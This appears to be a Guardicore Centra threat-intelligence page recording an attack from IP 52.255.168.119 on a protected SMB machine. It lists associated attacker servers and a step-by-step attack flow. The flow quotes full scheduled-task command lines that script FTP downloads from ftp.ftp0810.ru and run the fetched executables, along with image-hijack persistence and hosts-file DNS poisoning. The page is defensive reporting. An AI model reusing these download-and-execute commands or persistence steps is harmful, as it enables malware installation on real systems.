IP Address: 52.255.168.119Malicious

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IP Address:
52.255.168.119​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

CMD WMI Persistence SMB Null Session Login System File Modification Scheduled Task Creation IDS - A Network Trojan was detected Service Creation Download and Execute SMB Access Suspicious Domain Cookie Hijacking File Operation By CMD DNS Poisoning Service Configuration Persistency - Image Hijack Download File Service Start Outgoing Connection HTTP

Associated Attack Servers

sharktech.net hosteons.com

139.5.177.32 172.83.155.170 103.124.105.246 173.208.153.130 45.58.135.106 70.39.123.18 173.208.139.170

Basic Information

IP Address

52.255.168.119

Domain

-

ISP

Microsoft Corporation

Country

United States

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2020-09-23

Last seen in Guardicore Centra

2020-11-09

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

IDS detected A Network Trojan was detected : ETERNALBLUE Probe Vulnerable System Response MS17-010

IDS - A Network Trojan was detected

Process c:\windows\system32\regsvr32.exe generated outgoing network traffic to: 139.5.177.32:8032, 173.208.153.130:8130 and 70.39.123.18:8018

Outgoing Connection

The file C:\WINDOWS\system32\max.exe was downloaded and executed

Download and Execute

c:\windows\system32\services.exe installed and started cmd as a service named jhMY under service group None

Service Start Service Creation

Process c:\windows\system32\regsvr32.exe attempted to access suspicious domains: sharktech.net

Outgoing Connection Access Suspicious Domain

The file C:\WINDOWS\Temp\conhoy.exe was downloaded and executed 23 times

Download and Execute

Process c:\windows\temp\conhoy.exe generated outgoing network traffic to: 103.124.105.246:80, 173.208.139.170:8170 and 70.39.123.18:8018

Outgoing Connection

Process c:\windows\temp\conhoy.exe attempted to access suspicious domains: hosteons.com and sharktech.net

Outgoing Connection Access Suspicious Domain

System file C:\WINDOWS\Temp\conhoy.exe was modified 4 times

System File Modification

C:\WINDOWS\Temp\wmi.bat was downloaded

Download File

C:\windows\Temp\ntuser.dat was downloaded

Download File

The file C:\WINDOWS\Temp\u.exe was downloaded and executed

Download and Execute

Process c:\windows\temp\u.exe generated outgoing network traffic to: 172.83.155.170:80, 45.58.135.106:80 and 45.58.135.106:8888

Outgoing Connection

System file C:\windows\Temp\ntuser.dat was modified 4 times

System File Modification

System file c:\windows\debug\item.dat was modified 4 times

System File Modification

c:\windows\inf\aspnet\lsma12.exe was downloaded

Download File

The file C:\WINDOWS\system\msinfo.exe was downloaded and executed

Download and Execute

The file C:\WINDOWS\system32\wpcap.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The file C:\WINDOWS\system32\packet.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The command line cmd /c echo open ftp.ftp0810.ru>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa1.job

The command line cmd /c echo open ftp.ftp0810.ru>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa2.job

The command line cmd /c echo open ftp.ftp0810.ru>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Mysa3.job

The command line C:\WINDOWS\system32\rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\WINDOWS\Tasks\ok.job

The command line c:\windows\inf\aspnet\lsma12.exe was scheduled to run by modifying C:\WINDOWS\Tasks\oka.job

The command line c:\windows\temp\conhoy.exe was scheduled to run by modifying C:\WINDOWS\Tasks\MicrosoftsWindowsy.job

c:\windows\system32\reg.exe set the command line ntsd -d to run using Persistency - Image Hijack 3 times

Persistency - Image Hijack

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname kr1s.ru , and associated IP address 127.0.0.1

DNS poisoning detected, with hostname zcop.ru , and associated IP address 127.0.0.1

System file C:\WINDOWS\system32\drivers\etc\hosts was modified

System File Modification

System file C:\WINDOWS\system32\wbem\AutoRecover\88744D2A29102FC88ECF505DD2E984FC.mof was modified

System File Modification

The file c:\windows\debug\item.dat was downloaded and loaded by c:\windows\system32\wbem\wmic.exe

Download and Execute

Connection was closed due to user inactivity

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IP Address: 52.255.168.119​Malicious